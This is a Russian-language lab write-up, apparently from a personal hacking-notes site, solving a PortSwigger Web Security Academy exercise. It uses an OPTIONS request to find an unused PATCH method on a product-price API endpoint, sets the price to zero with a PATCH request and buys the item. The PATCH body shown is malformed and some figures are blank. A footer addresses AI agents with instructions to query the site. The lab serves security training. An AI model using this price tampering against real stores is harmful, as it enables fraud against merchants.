> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md).

# Обнаружение и эксплуатация неиспользуемой конечной точки API

Заметки по обнаружению и эксплуатации неиспользуемой конечной точки API для лабораторий PortSwigger Web Security Academy, включая рабочий процесс эксплуатации, тестирование полезных нагрузок, валидацию в Burp Suite и контекст устранения.

### Поиск и использование неиспользуемой конечной точки API

Цель этого лабораторного задания — использовать скрытую конечную точку API, чтобы купить **Лёгкая кожаная куртка l33t** без достаточных средств. / Аутентификация выполняется с помощью следующих учетных данных:

* **Пользователь**: wiener
* **Пароль**: peter

После входа в систему баланс счета составляет **$**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5a706883d9a1335e46284274368994c49e448c4a%2F%7BDEF4CD5F-D9A7-4C30-8041-0B2E0557AC4A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Анализ поведения приложения

При просмотре товара приложение в фоновом режиме отправляет API-запрос для получения его цены.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-641379719a9d2d896f06f121d1be6a0b1506b4d0%2F%7BA8665895-7AA4-4251-A8EC-A5D903C7E446%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Запрос, используемый для отображения цены**

```bash
GET /api/products/1/price
```

**Ответ сервера**

{% code overflow="wrap" %}

```json
{
    "price":"$1337.00",
    "message":"&#x1F525; Осталось 21 на складе, покупайте скорее! &#x1F525;"
}
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea611cf17340ea2d34820ee485bd0385939a1631%2F%7B6A32BFEB-5926-4FC0-99C5-0073ABF50169%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Определение доступных HTTP-методов

Один **OPTIONS** запрос отправляется для определения разрешённых методов на этой конечной точке.

**Запрос OPTIONS**

```bash
OPTIONS /api/products/1/price
```

**Ответ**

Сервер указывает, что разрешены следующие методы:

* GET
* PATCH

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e7b6c8d4304a2d2a5cc7ec549006784770af16f%2F%7B7432F854-7031-4986-A3C4-F3571D836381%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Это указывает на то, что возможно **изменить** изменить цену товара через PATCH-запрос.

#### Изменение цены через PATCH

Затем мы пытаемся обновить цену товара, отправив PATCH-запрос с JSON-телом.

**PATCH-запрос**

```http
PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net
Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol

Content-Type: application/json
Content-Length: 22

{
	"price": "0
}
```

**Ответ сервера**

```http
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{
    "price":"$0.00"
}
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffe28488da1adc63eca98b4a29169d9e380fb79d%2F%7B96F4EFE9-2A36-4156-B0BC-1FAD266B378D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Цена товара теперь установлена на **$**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ea8fa436db739c0df99ac89d0d4979974d74a7e%2F%7B75F8D4E9-2132-4379-88D1-2FCD5BB1CBF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Покупка товара

После изменения цены становится возможным купить **Лёгкая кожаная куртка l33t** несмотря на отсутствие средств на счёте, что позволяет подтвердить выполнение лабораторной работы.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6fd22f6c6e13246d4c35188988c6b095be062ff6%2F%7B6CA3D3BD-1AB6-4BDD-B2FC-9EE6B6BA028E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
